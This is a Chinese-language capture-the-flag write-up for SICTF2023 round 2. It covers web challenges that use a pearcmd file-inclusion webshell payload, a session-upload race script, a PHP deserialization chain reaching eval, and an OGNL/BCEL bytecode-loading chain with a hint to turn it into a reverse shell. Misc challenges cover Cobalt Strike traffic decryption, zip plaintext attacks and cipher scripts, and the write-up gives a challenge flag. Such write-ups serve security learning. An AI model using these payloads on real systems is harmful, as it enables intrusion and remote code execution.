SICTF2023 round 2 | web 6/7,misc 5/7
Web [签到]Include 考点:pearcmd文件包含
/?+config-create+/&SICTF=php://filter/convert.base64-encode|convert.base64-decode|/resource=/usr/local/lib/php/pearcmd.php&asd/<?=system($_GET['c'])?>+/tmp/hello.php ?SICTF=php://filter/convert.base64-encode|convert.base64-decode|/resource=/tmp/hello.php&c=cat+/flag
RCE
Baby_PHP
你能跟得上我的speed吗 以前session竞争上传的代码,拿来就可以用。
# coding=utf-8 # Author:Y4tacker import io import requests import threading sessid = 'yyy' url = "http://210.44.151.51:10098/upload.php" php = open('1.php','rb').read() def write(session): while True: f = php resp = session.post(url, data={'PHP_SESSION_UPLOAD_PROGRESS': f"123123213123"}, files={'file': ('1.php', f)}, cookies={'PHPSESSID': sessid}) def read(session): while True: resp = session.get('http://210.44.151.51:10098/uploads/1.php') if "bingo" in resp.text: print(resp.text) break if __name__ == "__main__": event = threading.Event() with requests.session() as session: for i in range(1, 10): threading.Thread(target=write, args=(session,)).start() for i in range(1, 10): threading.Thread(target=read, args=(session,)).start() event.set()
上传1.php,内容:
我全都要 源码
<?php highlight_file(__FILE__); class B{ public $pop; public $i; public $nogame; public function __destruct() { if(preg_match("/233333333/",$this->pop)){ echo "这是一道签到题,不能让新生一直做不出来遭受打击"; } } public function game(){ echo "扣1送地狱火"; if ($this->i = "1"){ echo '<img src=\'R.jpg\'>'; $this->nogame->love(); } } public function __clone(){ echo "必须执行"; eval($_POST["cmd"]); } } class A{ public $Aec; public $girl; public $boy; public function __toString() { echo "I also want to fall in love"; if($this->girl != $this->boy && md5($this->girl) == md5($this->boy)){ $this->Aec->game(); } } } class P{ public $MyLover; public function __call($name, $arguments) { echo "有对象我会在这打CTF???看我克隆一个对象!"; if ($name != "game") { echo "打游戏去,别想着对象了"; $this->MyLover = clone new B; } } } if ($_GET["A_B_C"]){ $poc=$_GET["A_B_C"]; unserialize($poc); }
exp
$b = new B; $b->pop = new A; $b->pop->boy = 'QNKCDZO'; $b->pop->girl = '240610708'; $b->pop->Aec = new B; $b->pop->Aec->nogame = new P; echo urlencode(serialize($b));
pain 路由
黑名单
那两个分别是get和加号
正常的ongl表达式执行命令的方式:
第一个@后面接类名,第二个@后面接静态方法。
正常的执行命令方式都给ban了。由于经常光顾bogipop师傅的博客,知道执行命令还有一种方式,加载bcel字节码。
https://boogipop.com/2023/08/10/BCEL%E7%8E%AF%E5%A2%83%E4%B8%8B%E5%88%A9%E7%94%A8%E5%85%A8%E5%8F%8D%E5%B0%84%E6%9E%84%E9%80%A0%E9%AB%98%E5%8F%AF%E7%94%A8%E5%86%85%E5%AD%98%E9%A9%AC/
demo
import com.sun.org.apache.bcel.internal.Repository; import com.sun.org.apache.bcel.internal.classfile.JavaClass; import com.sun.org.apache.bcel.internal.classfile.Utility; import com.sun.org.apache.bcel.internal.util.JavaWrapper; public class App { public static void main( String[] args ) throws Exception{ //第一种触发方式 //JavaClass javaClass = Repository.lookupClass(Evil.class); // //String encode = Utility.encode(javaClass.getBytes(), true); // //System.out.println(encode); //new ClassLoader().loadClass("$$BCEL$$"+encode).newInstance(); //第二种触发方式 JavaClass javaClass = Repository.lookupClass(Evil.class); String encode = Utility.encode(javaClass.getBytes(), true); JavaWrapper._main(new String[]{"$$BCEL$$"+encode}); System.out.println("$$BCEL$$"+encode); } }
Evil.java
import java.io.IOException; public class Evil { public static void main(String[] args) { } public static void _main(String[] args) { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } } }
运行即可弹计算器。
所以结合ognl可以这样用:
(要加.toArray()
才是String数组,不加的话是集合类,传进去类型不匹配)
public static void main( String[] args ) throws Exception{ JavaClass javaClass = Repository.lookupClass(Evil.class); String encode = Utility.encode(javaClass.getBytes(), true); String bcel = "$$BCEL$$"+encode; String code = "@com.sun.org.apache.bcel.internal.util.JavaWrapper@_main({'"+bcel+"'}.toArray())"; System.out.println(MyMethods.URLEncode(code)); OgnlContext context = new OgnlContext(); Ognl.getValue(code, context, context.getRoot()); }
把calc的命令改成弹shell命令,监听,然后把上面的输出结果打进去,就行了。
本地自建的Evil.java,带不带包名都可以,都打得通。
misc fast_morse 解出音频里的morse即可。
一起上号不 做题过程参考这篇:https://blog.csdn.net/weixin_46081055/article/details/123413246
赛后看了cs通信原理:https://blog.csdn.net/shawdow_bug/article/details/127503441
自己的分析:
请求是受害机发给cs服务器的,响应是服务器发给受害机。
看左边的时间间隔,知道心跳时间是60s。
受害机发请求/load,检查是否要执行命令,服务器响应。
受害机执行命令,结果加密后,通过请求/submit.php发送给服务器。
服务器存私钥,受害机beacon存公钥。私钥是用来加密元数据的。元数据放在请求cookie里。元数据里有AES_KEY,HMAC_KEY。AES_KEY和HMAC_KEY是用来加密命令和执行结果数据的。
数据包里导出HTTP对象,有一个key.zip,解压key,把key改名为.cobaltstrike.beacon_keys,然后用文章提到的工具,直接运行即可解出私钥。
下面用到的工具要在linux上运行,win不行。工具文章里有。
拿到私钥,解cookie里的元数据,就可以拿到AES_KEY,HMAC_KEY。
现在解命令执行结果的数据。
这里的encrypt_data是报文里/submit.php的请求体解hex再base64
baby_zip ZipCrypto Store,一眼明文攻击。
Easy_Shark 最开始的tcp流是马的样子,后面的流全是加密后的结果。
AES加密,key告诉你了,复制到本地就可以。不过有个坑点,本地要加载那个扩展,解出来的才是正常的,不然的话进入if里面解出来的是乱码….
后续tcp流的请求体内容复制出来:
解出来长这样
响应数据也解一遍:
看不懂,继续解后面的包。有一个cat GronKey.txt,内容是:1,50,61,8,9,20,63,41
看到Gron就想到gronsfeld加密。
def gronsfeld_encrypt(text, key): encrypted_text = "" key_digits = [int(digit) for digit in key.split(",")] key_length = len(key_digits) for i in range(len(text)): char = text[i] if char.isalpha(): # 将字母转换为大写,以便与密钥数字对应 char = char.upper() # 计算密钥对应的数字 key_digit = key_digits[i % key_length] # 计算移位后的字母 shifted_char = chr(((ord(char) - ord('A') + key_digit) % 26) + ord('A')) encrypted_text += shifted_char else: # 如果字符不是字母,则直接添加到加密文本中 encrypted_text += char return encrypted_text def gronsfeld_decrypt(encrypted_text, key): decrypted_text = "" key_digits = [int(digit) for digit in key.split(",")] key_length = len(key_digits) for i in range(len(encrypted_text)): char = encrypted_text[i] if char.isalpha(): # 将字母转换为大写,以便与密钥数字对应 char = char.upper() # 计算密钥对应的数字 key_digit = key_digits[i % key_length] # 计算反向移位后的字母 shifted_char = chr(((ord(char) - ord('A') - key_digit) % 26) + ord('A')) decrypted_text += shifted_char else: # 如果字符不是字母,则直接添加到解密文本中 decrypted_text += char return decrypted_text # 示例 plaintext = "HELLO" key = "1,50,61,8,9,20,63,41" encrypted_text = gronsfeld_encrypt(plaintext, key) print("加密后的文本:", encrypted_text) decrypted_text = gronsfeld_decrypt(encrypted_text, key) print("解密后的文本:", decrypted_text)
可以直接用。
SICTF{SHUMUISAGOODBOYYYYYYYYY}
QR 二进制串转成二维码,0黑色,1白色。然后用pyzbar读取二维码数据。用pwntools交互。
gpt写的转二维码的脚本。完整解题脚本不小心给我删了,懒得再写了。
from PIL import Image # 输入的二进制串(示例) binary_string = "0011001100110011" # 计算图像的宽度和高度 binary_length = len(binary_string) width = int(binary_length ** 0.5) # 取平方根作为宽度 height = (binary_length + width - 1) // width # 根据宽度计算高度 # 创建一个新的图像 image = Image.new("1", (width, height)) # 将二进制串中的0和1转换为像素颜色 pixels = [] for char in binary_string: if char == '0': pixels.append(0) elif char == '1': pixels.append(1) # 将像素颜色设置到图像中 image.putdata(pixels) # 保存图像 image.save("output.png") # 显示图像(可选) image.show()
一开始一直不出flag,去问出题人,解1000次才出。所以脚本最后要稍微改改。